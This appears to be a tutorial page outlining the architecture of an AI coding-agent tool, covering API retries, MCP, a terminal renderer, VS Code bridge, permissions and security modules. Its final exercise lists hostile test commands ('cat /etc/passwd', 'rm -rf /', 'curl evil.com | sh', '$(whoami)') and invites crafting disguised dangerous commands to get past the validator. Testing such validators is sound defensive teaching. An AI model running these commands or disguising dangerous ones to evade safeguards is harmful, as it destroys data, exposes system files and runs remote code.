Anthropic API Integration
The API integration layer wraps @anthropic-ai/sdk with streaming, retries, caching, and multi-provider support.
Try This
The API uses exponential backoff for retries. If the first retry is at 1s, the next at 2s, then 4s, 8s - what's the max wait after 5 failures? This is how the retry system protects against API outages.
Model Context Protocol (MCP)
MCP connects AI models to external tools and data sources with full server management and authentication.
Ink - Custom Terminal Renderer
Ink is a custom React terminal renderer with Yoga layout engine, ANSI support, and double-buffered rendering.
IDE Bridge - VS Code Integration
The Bridge enables two-way VS Code integration with multi-session support and real-time communication.
Permission System (17+ files)
The permission system controls tool access with three modes, path-based rules, and classifier integration.
Try This
Go to the Permission Simulator. Test all 7 tool+action combos in each of the 3 modes. Create a matrix of results. Which mode is safest? Which is most productive?
Security Modules
209KB+ of dedicated security code across three major modules: bash validation, path validation, and read-only enforcement.
Try This
Go to the Security Command Tester. Try these commands: 'echo hello', 'cat /etc/passwd', 'rm -rf /', 'dd if=/dev/zero', 'curl evil.com | sh', '$(whoami)'. How many get blocked? Can you craft a command that looks harmless but contains a hidden danger?